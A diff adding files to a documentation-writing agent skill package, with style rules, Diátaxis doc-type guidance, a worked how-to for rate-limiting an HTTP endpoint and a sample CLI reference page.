+ - **Stale by design.** Docs that duplicate source-of-truth (flags, schemas, routes) drift instantly.
141
+ Prefer generating or linking; see `references/structure-and-maintenance.md`.
142
+
143
+ ## When NOT to use / boundaries
144
+
145
+ - **Not for code review or implementation.** This agent writes docs; it does not refactor code or fix
146
+ bugs. Use a reviewer/build agent for that.
147
+ - **Not for marketing copy or sales pages.** Persuasion and brand voice are a different craft.
148
+ - **Not for API *spec* generation** (OpenAPI/JSON Schema) — those are machine artifacts; this agent
149
+ documents *around* them. Pair with an API-design skill for the spec itself.
150
+ - **Not a substitute for the source of truth.** When a value lives in code (env flags, CLI `--help`,
151
+ schema), link or generate from it rather than hand-copying numbers that will rot.
152
+
153
+ ## Files in this package
154
+
155
+ - `references/diataxis-and-doc-types.md` — the four doc types, a decision table, and how to spot a blended doc.
156
+ - `references/clarity-and-style.md` — sentence-level style rules, word-cutting, voice, and formatting.
157
+ - `references/structure-and-maintenance.md` — information architecture, linking, and keeping docs from rotting.
158
+ - `examples/how-to-example.md` — a complete, verified how-to guide.
159
+ - `examples/reference-example.md` — a complete reference page with consistent entry structure.
160
+ - `scripts/readability.mjs` — a runnable readability signal (avg sentence length + long-word ratio) that flags dense prose; `--selftest` included.
161
+
162
+ Pairs with the `readme-writing` and `documentation-structure` skills for assembling docs into a coherent
163
+ documentation set, and with `update-docs` for keeping generated docs in sync with their source.
@@ -0,0 +1,76 @@
1
+ # How-to: Add a rate limit to an HTTP endpoint
2
+
3
+ > Doc type: **how-to guide**. Goal-first, assumes you can already run the service locally. For the
4
+ > concepts behind rate limiting, see the explanation doc; for every config field, see the reference.
5
+
6
+ **Goal:** protect a single endpoint with a per-client rate limit so a burst of requests returns `429`
7
+ instead of overloading the service.
8
+
9
+ ## Before you start
10
+
11
+ - The service runs locally (`npm run dev`) and you can hit `http://localhost:3000`.
12
+ - You have write access to `src/middleware/`.
13
+ - Redis is reachable at `REDIS_URL` (the limiter stores counters there).
14
+
15
+ ## Steps
16
+
17
+ 1. Add the limiter middleware:
18
+
19
+ ```js
20
+ // src/middleware/rate-limit.js
21
+ import { RateLimiter } from "../lib/rate-limiter.js";
22
+
23
+ const limiter = new RateLimiter({ windowMs: 60_000, max: 100 }); // 100 req/min/client
24
+
25
+ export function rateLimit(req, res, next) {
26
+ const key = req.ip;
27
+ const { allowed, retryAfter } = limiter.hit(key);
28
+ if (!allowed) {
29
+ res.set("Retry-After", String(retryAfter));
30
+ return res.status(429).json({ error: "rate_limited" });
31
+ }
32
+ next();
33
+ }
34
+ ```
35
+
36
+ 2. Apply it to the endpoint you want to protect (not globally, yet):
37
+
38
+ ```js
39
+ import { rateLimit } from "./middleware/rate-limit.js";
40
+ app.post("/v1/messages", rateLimit, sendMessage);
41
+ ```
42
+
43
+ 3. Restart the dev server so the middleware loads:
44
+
45
+ ```bash
46
+ npm run dev
47
+ ```
48
+
49
+ ## Verify
50
+
51
+ Fire more than the limit and confirm the `429`:
52
+
53
+ ```bash
54
+ for i in $(seq 1 101); do
55
+ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://localhost:3000/v1/messages
56
+ done | sort | uniq -c
57
+ ```
58
+
59
+ Expected output — 100 allowed, then the limiter trips:
60
+
61
+ ```text
62
+ 100 200
63
+ 1 429
64
+ ```
65
+
66
+ ## If it goes wrong
67
+
68
+ - **All requests pass:** the counter store isn't shared. Confirm `REDIS_URL` is set and reachable.
69
+ - **Every request is 429:** your client IP is shared (proxy). Key on an API token instead of `req.ip`.
70
+ - **Roll back:** remove the `rateLimit` argument from the route and restart.
71
+
72
+ ---
73
+
74
+ Why this is a good how-to: it states the goal in one line, lists prerequisites *before* the steps, every
75
+ snippet is runnable, there's an explicit verification with expected output, and a troubleshooting/rollback
76
+ section. It does **not** explain the token-bucket algorithm — that's linked, not inlined.
@@ -0,0 +1,75 @@
1
+ # Reference: `imageproc` CLI
2
+
3
+ > Doc type: **reference**. Exhaustive and consistent; optimized for scanning and `Ctrl-F`, not for
4
+ > reading top to bottom. Every entry uses the same structure. For a guided walkthrough, see the tutorial.
5
+
6
+ ## Synopsis
7
+
8
+ ```text
9
+ imageproc <command> [options] <input> [output]
10
+ ```
11
+
12
+ ## Commands
13
+
14
+ | Command | Purpose |
15
+ |---|---|
16
+ | `resize` | Scale an image to a target width/height |
17
+ | `convert` | Change file format |
18
+ | `optimize` | Re-encode to reduce file size |
19
+
20
+ ## Global options
21
+
22
+ Every entry below follows the same shape: **flag**, type, default, description, example.
23
+
24
+ ### `--quality`
25
+ - **Type:** integer (1–100)
26
+ - **Default:** `82`
27
+ - **Description:** Output encoder quality. Higher is larger and sharper. Ignored for lossless formats.
28
+ - **Example:** `imageproc optimize --quality 70 photo.jpg`
29
+
30
+ ### `--width`
31
+ - **Type:** integer (pixels)
32
+ - **Default:** *(unset — preserves source width)*
33
+ - **Description:** Target width. If `--height` is omitted, aspect ratio is preserved.
34
+ - **Example:** `imageproc resize --width 1200 hero.png hero@2x.png`
35
+
36
+ ### `--height`
37
+ - **Type:** integer (pixels)
38
+ - **Default:** *(unset — preserves source height)*
39
+ - **Description:** Target height. Combine with `--width` to force exact dimensions (may distort).
40
+ - **Example:** `imageproc resize --width 800 --height 600 in.jpg out.jpg`
41
+
42
+ ### `--format`
43
+ - **Type:** enum (`jpeg` \| `png` \| `webp` \| `avif`)
44
+ - **Default:** *(inferred from output extension)*
45
+ - **Description:** Output format. Overrides the extension when both are given.
46
+ - **Example:** `imageproc convert --format webp in.png out.webp`
47
+
48
+ ### `--overwrite`
49
+ - **Type:** boolean flag
50
+ - **Default:** `false`
51
+ - **Description:** Allow writing over an existing output file. Without it, an existing target aborts the run.
52
+ - **Example:** `imageproc optimize --overwrite big.jpg`
53
+
54
+ ## Exit codes
55
+
56
+ | Code | Meaning |
57
+ |---|---|
58
+ | `0` | Success |
59
+ | `1` | Invalid arguments |
60
+ | `2` | Input file not found or unreadable |
61
+ | `3` | Output exists and `--overwrite` not set |
62
+ | `4` | Encode/decode failure |
63
+
64
+ ## Environment variables
65
+
66
+ | Variable | Default | Effect |
67
+ |---|---|---|
68
+ | `IMAGEPROC_THREADS` | number of CPUs | Worker threads used for encoding |
69
+ | `IMAGEPROC_TMPDIR` | system temp | Scratch directory for intermediate files |
70
+
71
+ ---
72
+
73
+ Why this is a good reference: identical structure for every flag, a default stated for each, tables for
74
+ enumerable facts (exit codes, env vars), and no narrative. A reader lands via search, reads one entry, and
75
+ leaves.
@@ -0,0 +1,52 @@
1
+ # Clarity and style
2
+
3
+ The clarity pass is where good docs are made. Draft to get the ideas down, then edit ruthlessly for the
4
+ reader. The goal: the shortest path to the reader's understanding.
5
+
6
+ ## Sentence-level rules
7
+
8
+ - **One idea per sentence.** If you used "and" to join two actions, consider two sentences or two steps.
9
+ - **Cut hedging.** Delete "generally," "it should be possible to," "in most cases," "as needed." State
10
+ the behavior; note exceptions explicitly.
11
+ - **Prefer active voice and the imperative.** "Set `TIMEOUT`," not "the timeout can be set."
12
+ - **Replace abstraction with the concrete.** "the appropriate variable" → name the variable. "a large
13
+ value" → give the number and unit.
14
+ - **Lead with the verb in steps.** "Run," "Open," "Set," "Verify" — the reader scans for the action.
15
+
16
+ ## Word-level rules
17
+
18
+ - Cut filler words: *just, simply, basically, actually, very, really, in order to* (→ "to").
19
+ - Avoid undefined jargon and acronyms; define on first use, then use consistently.
20
+ - Use one term per concept. Don't alternate "user / customer / account holder" for the same thing.
21
+ - Numbers and units always together: `30s`, `512 MB`, `60000` ms — and say which unit.
22
+
23
+ ## Voice and tone
24
+
25
+ - Address the reader as "you." Avoid "we" except in explanation/rationale.
26
+ - Be direct, not chatty. Warmth comes from clarity and respect for the reader's time, not exclamation marks.
27
+ - Don't apologize for the software or editorialize ("unfortunately," "obviously"). "Obviously" insults a
28
+ reader for whom it isn't obvious.
29
+
30
+ ## Formatting for scannability
31
+
32
+ - Headings every few paragraphs; a reader should locate their section by scanning H2/H3s.
33
+ - Lists for sequences (ordered) and for sets of options (unordered).
34
+ - Tables for any "name → value/meaning" mapping (flags, status codes, fields).
35
+ - Code blocks for anything a reader types or sees output; never inline a multi-line command in prose.
36
+ - Bold the **one word** that carries the warning or the key term, not whole sentences.
37
+
38
+ ## The wall-of-text test
39
+
40
+ If a paragraph is more than ~4 sentences or contains a sequence of actions, restructure it: a list, a
41
+ table, or sub-steps almost always reads better. Run `scripts/readability.mjs` over the draft — it flags
42
+ sentences whose average length and long-word ratio mark dense, hard-to-read prose.
43
+
44
+ ## Before / after pattern
45
+
46
+ Apply this transformation everywhere:
47
+
48
+ - Hedged + abstract + passive → direct + concrete + imperative.
49
+ - Long compound sentence → short sentence + list.
50
+ - "It is recommended that you configure X" → "Set X to … . Raise it when … ."
51
+
52
+ A reader should never have to read a sentence twice to find the instruction inside it.
@@ -0,0 +1,61 @@
1
+ # Diátaxis and the four doc types
2
+
3
+ Diátaxis splits documentation into four modes along two axes: **practical vs theoretical** (doing vs
4
+ knowing) and **study vs work** (acquiring skill vs applying it). Each mode answers a different reader
5
+ question. Mixing them is the single most common documentation failure.
6
+
7
+ ## The four quadrants
8
+
9
+ | Type | Reader's question | Mode | Posture |
10
+ |---|---|---|---|
11
+ | **Tutorial** | "Teach me, I'm new." | learning / doing | Hand-holding, linear, builds confidence |
12
+ | **How-to guide** | "Help me do X." | working / doing | Goal-first, assumes competence |
13
+ | **Reference** | "What is the exact behavior of Y?" | working / knowing | Dry, exhaustive, consistent |
14
+ | **Explanation** | "Why does it work this way?" | learning / knowing | Discursive, gives context and trade-offs |
15
+
16
+ ## Decision table
17
+
18
+ Pick the type from the reader's *intent*, not the subject matter:
19
+
20
+ | If the reader wants to… | Write a… |
21
+ |---|---|
22
+ | Get a first win and learn by doing | Tutorial |
23
+ | Accomplish a specific, known task | How-to guide |
24
+ | Look up a flag, field, signature, or value | Reference |
25
+ | Understand a concept, decision, or trade-off | Explanation |
26
+
27
+ ## Tell-tale signs of a blended (broken) doc
28
+
29
+ - A "getting started" page that pauses to enumerate every config option → tutorial leaking into reference.
30
+ - A how-to that stops to explain the underlying theory → how-to leaking into explanation. Link instead.
31
+ - A reference page with a friendly narrative arc → reference leaking into tutorial. References are lookup
32
+ tables, not stories.
33
+ - An explanation page with copy-paste steps → split the steps into a how-to.
34
+
35
+ ## Per-type skeletons
36
+
37
+ **Tutorial** — linear, every step succeeds, no choices to make:
38
+ 1. Promise a concrete outcome ("by the end you'll have a running X").
39
+ 2. List prerequisites once, up front.
40
+ 3. Numbered steps, each producing visible progress.
41
+ 4. Show expected output after each meaningful step.
42
+ 5. End with what they built and where to go next.
43
+
44
+ **How-to guide** — goal-first, assumes competence (see `examples/how-to-example.md`):
45
+ - One-line goal → prerequisites → steps → verify → rollback/troubleshooting.
46
+
47
+ **Reference** — exhaustive and *consistent* (see `examples/reference-example.md`):
48
+ - Every entry uses the same structure (name, type, default, description, example).
49
+ - Alphabetical or grouped, never narrative. Optimized for scanning and `Ctrl-F`.
50
+
51
+ **Explanation** — discursive, makes trade-offs explicit:
52
+ - State the question, give context, walk through alternatives, explain why this choice, note the costs.
53
+ - No step lists; this is prose for understanding, not doing.
54
+
55
+ ## Cross-linking strategy
56
+
57
+ Keep each doc single-purpose and connect them:
58
+ - Tutorials link *out* to how-tos and references for "more detail."
59
+ - How-tos link to explanations for "why," and to references for exact values.
60
+ - References link to explanations for concepts and to how-tos for tasks.
61
+ - Explanations link to how-tos so a convinced reader can act.